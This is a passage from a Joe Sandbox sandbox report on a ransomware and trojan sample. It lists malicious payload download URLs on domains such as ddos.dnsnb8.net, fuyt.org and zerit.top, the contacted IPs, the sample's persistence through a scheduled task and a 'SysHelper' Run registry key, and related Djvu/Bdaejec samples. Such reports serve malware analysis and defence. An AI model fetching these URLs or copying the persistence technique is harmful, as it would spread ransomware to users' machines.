http://ddos.dnsnb8.net:799/cj//k2.rara&	lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B85000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://www.openssl.org/support/faq.html	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000010.00000002.1462942459.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://fuyt.org/s	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.1832009736.0000000000755000.00000004.00000020.00020000.00000000.sdmp	true	13%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2535359075.0000000000400000.00000040.00000400.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2535409912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 0000000E.00000002.1453140675.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000010.00000002.1462942459.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonx	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000004.00000002.1331878215.00000000006C8000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rartC:	lvAVrO.exe, 0000000F.00000003.1493269721.0000000000B6C000.00000004.00000020.00020000.00000000.sdmp, lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://fuyt.org/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.1832009736.0000000000755000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar(	lvAVrO.exe, 00000002.00000003.1365547945.0000000000E25000.00000004.00000020.00020000.00000000.sdmp	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.reddit.com/	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2431306745.0000000003270000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar&	lvAVrO.exe, 0000000F.00000003.1493215893.0000000000B88000.00000004.00000020.00020000.00000000.sdmp	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.json-Agent:	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000010.00000002.1463170618.000000000062C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://fuyt.org/files/1/build3.exe$run	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.0000000000752000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.00000000006D1000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.0000000000741000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.0000000000727000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.nytimes.com/	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2431244426.0000000003270000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000004.00000002.1331878215.0000000000709000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.0000000000678000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000010.00000002.1463170618.000000000062C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://fuyt.org/files/1/build3.exe	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.0000000000756000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.1832009736.0000000000755000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Enterprisehttps://g.live.com/odclientsettings/MsitFasthttps://g.	wctC19B.tmp.8.dr	false	Avira URL Cloud: safe	unknown
http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE	lvAVrO.exe, 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmp, lvAVrO.exe, 00000002.00000003.1289102093.0000000000B90000.00000004.00001000.00020000.00000000.sdmp, lvAVrO.exe, 0000000F.00000003.1438598264.0000000000F40000.00000004.00001000.00020000.00000000.sdmp, lvAVrO.exe, 0000000F.00000002.1657019967.00000000000F3000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://fuyt.org/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=true	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.0000000000756000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.00000000006D1000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.1832053709.000000000076B000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.1832009736.0000000000755000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://zerit.top/dl/build2.exe:=	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.1832009736.0000000000755000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://we.tl/t-NdDG3HIUZp	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.0000000000756000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.0000000000709000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.0000000000735000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.0000000000678000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://we.tl/t-NdDG3HIU	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.0000000000756000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.0000000000729000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k3.rarU	lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B85000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarH	lvAVrO.exe, 0000000F.00000003.1493269721.0000000000B35000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://fuyt.org/	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.1832009736.0000000000755000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://api.2ip.ua/U	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.00000000006F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/win81https://g.live.com/1rewlive5skydrive/win8https://g.live.co	wctC19B.tmp.8.dr	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rary	lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B85000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://zerit.top/dl/build2.exe$run	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.0000000000741000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.json2j	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000010.00000002.1463170618.00000000005E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.json8	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000010.00000002.1463170618.000000000062C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/A	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000004.00000002.1331878215.0000000000709000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rar5C:	lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k5.rarsC:	lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.youtube.com/	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2431583552.0000000003270000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarR	lvAVrO.exe, 00000002.00000002.1435881124.0000000000DAE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k4.rart	lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B85000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.wikipedia.com/	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2431514384.0000000003270000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarn	lvAVrO.exe, 0000000F.00000003.1493215893.0000000000B88000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ddos.dnsnb8.net:799/cj//k4.rarn	lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B85000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://fuyt.org/files/1/build3.exe$runnn	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.0000000000752000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.00000000006D1000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.0000000000727000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.live.com/	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2431184423.0000000003270000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarcC:	lvAVrO.exe, 00000002.00000002.1435881124.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, lvAVrO.exe, 00000002.00000003.1365640575.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, lvAVrO.exe, 00000002.00000003.1365397577.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://www.google.com/	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2431120963.0000000003270000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonB	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.00000000006F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
44.221.84.105	ddos.dnsnb8.net	United States	14618	AMAZON-AESUS	false
188.114.96.3	api.2ip.ua	European Union	13335	CLOUDFLARENETUS	false
92.246.89.93	fuyt.org	Russian Federation	49558	LIVECOMM-ASRespublikanskayastr3k6RU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1482672
Start date and time:	2024-07-26 02:02:34 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.spyw.evad.winEXE@30/1212@13/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 46 Number of non-executed functions: 234
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.22
Excluded domains from analysis (whitelisted): login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:03:33	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe s>--Task
02:03:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --AutoStart
02:03:43	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --AutoStart
20:03:43	API Interceptor	1x Sleep call for process: WerFault.exe modified
20:05:21	API Interceptor	1x Sleep call for process: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
44.221.84.105	dllhost.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k1.rar
	eb46b015c1a492b2307a541e45c2ecc0662bc9fc34b5ed028aac2ee2b6b1895c.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	EAAA8C691957343A544351907CA063BFC704AA8F604D391FE14126EB0B36C035.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Get hash	malicious	Wannacry, Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k3.rar
	EC75DAE286A59F6032A6556E501ECE342C2CA271D1A1CE57C25761747312C301.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	eb46b015c1a492b2307a541e45c2ecc0662bc9fc34b5ed028aac2ee2b6b1895c.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	Endermanch@Antivirus.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k1.rar
	EC75DAE286A59F6032A6556E501ECE342C2CA271D1A1CE57C25761747312C301.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	EF2D1DE8BE7B216F6983BD43D120B512A0917EBE887F30D256ECA8395CE613CC.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	ddos.dnsnb8.net:799/cj//k5.rar
	Endermanch@7ev3n.exe	Get hash	malicious	7ev3n, Bdaejec, UACMe	Browse	ddos.dnsnb8.net:799/cj//k1.rar
188.114.96.3	xptRc4P9NV.exe	Get hash	malicious	Unknown	Browse	api.keyunet.cn/v3/Project/appInfo/65fc6006
	LisectAVT_2403002B_448.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.universitetrading.com/hfhf/?6lBX5p6=0/2bsV2tZWehMRII3oIkv/ztWj8eLfm1RPHJ5DhA9wGKWMCN0u1aqYIHkCdH1AqUUdYe&Kjsl=FbuD_t_HwtJdin
	LisectAVT_2403002B_89.exe	Get hash	malicious	CobaltStrike	Browse	cccc.yiuyiu.xyz/config.ini
	54.xls	Get hash	malicious	FormBook	Browse	tny.wtf/
	Order_490104.xls	Get hash	malicious	Unknown	Browse	tny.wtf/vb
	Order_490104.xls	Get hash	malicious	Unknown	Browse	tny.wtf/vb
	Scan copy.xls	Get hash	malicious	Unknown	Browse	tny.wtf/3VC
	Order_490104.xls	Get hash	malicious	Unknown	Browse	tny.wtf/vb
	SEL1685129 AMANOS.pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse	bshd1.shop/OP341/index.php
	S0042328241130.xls	Get hash	malicious	Remcos	Browse	tny.wtf/v0na

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fuyt.org	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D3CA0EF14E8DC45497FABA304ACF842BB2F2913CA2108600EE2771F9E9A24F9C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	C1E3DBF11B5B3D434C8026BB344D5E9FD6DABA717622CCFC4E07CADF051CBA72.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	BF4DCAFE30C748D3AE356DACAEE3C6D33D949E6A6C53DEC1F5FD4EA12D77B505.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	BA53F24D6448DFC4B1A4A9B73D7D24ECC31A05A4E26EE051BA5ADA4312F319D1.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
ddos.dnsnb8.net	dllhost.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	eb46b015c1a492b2307a541e45c2ecc0662bc9fc34b5ed028aac2ee2b6b1895c.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	EAAA8C691957343A544351907CA063BFC704AA8F604D391FE14126EB0B36C035.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Get hash	malicious	Wannacry, Bdaejec	Browse	44.221.84.105
	EC75DAE286A59F6032A6556E501ECE342C2CA271D1A1CE57C25761747312C301.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	eb46b015c1a492b2307a541e45c2ecc0662bc9fc34b5ed028aac2ee2b6b1895c.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@Antivirus.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	EC75DAE286A59F6032A6556E501ECE342C2CA271D1A1CE57C25761747312C301.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	EF2D1DE8BE7B216F6983BD43D120B512A0917EBE887F30D256ECA8395CE613CC.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	44.221.84.105
	Endermanch@7ev3n.exe	Get hash	malicious	7ev3n, Bdaejec, UACMe	Browse	44.221.84.105

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LIVECOMM-ASRespublikanskayastr3k6RU	LisectAVT_2403002B_290.exe	Get hash	malicious	Bdaejec	Browse	92.246.89.93
	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D3CA0EF14E8DC45497FABA304ACF842BB2F2913CA2108600EE2771F9E9A24F9C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	C1E3DBF11B5B3D434C8026BB344D5E9FD6DABA717622CCFC4E07CADF051CBA72.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	BF4DCAFE30C748D3AE356DACAEE3C6D33D949E6A6C53DEC1F5FD4EA12D77B505.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
CLOUDFLARENETUS	xptRc4P9NV.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://filmoflix.cx	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	Babadeda	Browse	162.159.61.3
	Endermanch@7ev3n.exe	Get hash	malicious	7ev3n, Bdaejec, UACMe	Browse	104.17.11.85
	Endermanch@LPS2019.exe	Get hash	malicious	Unknown	Browse	104.17.25.14
	Endermanch@MEMZ.exe	Get hash	malicious	Bdaejec, KillMBR	Browse	104.16.183.87
	https://nasyiahgamping.com/_loader.html?send_id=eh&tvi2_RxT=cp.appriver.com%2Fservices%2Fspamlab%2Fhmr%2FPrepareHMRAccess.aspx%3Fex%3DCwl7OpqsAW8UXOjQpfNORMYziqeg%252fwcMKDuZuqPM%252b44%253d%26et%3DSCXX1gC0hGLFIJMBjJa%252bcPyzP9zDkcUvJzlJx8HAPYIwHybHJtlKKhvlY68%252fb09k%252bq%252fmbrOOqiV%252brsXviFPAevdalHsK83HP&url=aHR0cHM6Ly9maW5hbmNlcGhpbGUuY29tL3dwLWluY2x1ZGVzL2ltZy9iYW5kcm9mZkBzaWduYWxkYy5jb20=	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	fu[1].exe	Get hash	malicious	Bdaejec	Browse	172.64.41.3
	FEB32B614BC7F38CC0B553B5FEE80B7E68AD8AE78DF1F1CAE4016A5AA1C4677A.exe	Get hash	malicious	Bdaejec	Browse	172.67.132.113
	http://discord-proxy.tassadar2002.workers.dev/	Get hash	malicious	Unknown	Browse	104.18.28.203
AMAZON-AESUS	dllhost.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	eb46b015c1a492b2307a541e45c2ecc0662bc9fc34b5ed028aac2ee2b6b1895c.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	EAAA8C691957343A544351907CA063BFC704AA8F604D391FE14126EB0B36C035.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Get hash	malicious	Wannacry, Bdaejec	Browse	44.221.84.105
	EC75DAE286A59F6032A6556E501ECE342C2CA271D1A1CE57C25761747312C301.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	eb46b015c1a492b2307a541e45c2ecc0662bc9fc34b5ed028aac2ee2b6b1895c.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@Antivirus.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	EC75DAE286A59F6032A6556E501ECE342C2CA271D1A1CE57C25761747312C301.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	EF2D1DE8BE7B216F6983BD43D120B512A0917EBE887F30D256ECA8395CE613CC.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	44.221.84.105
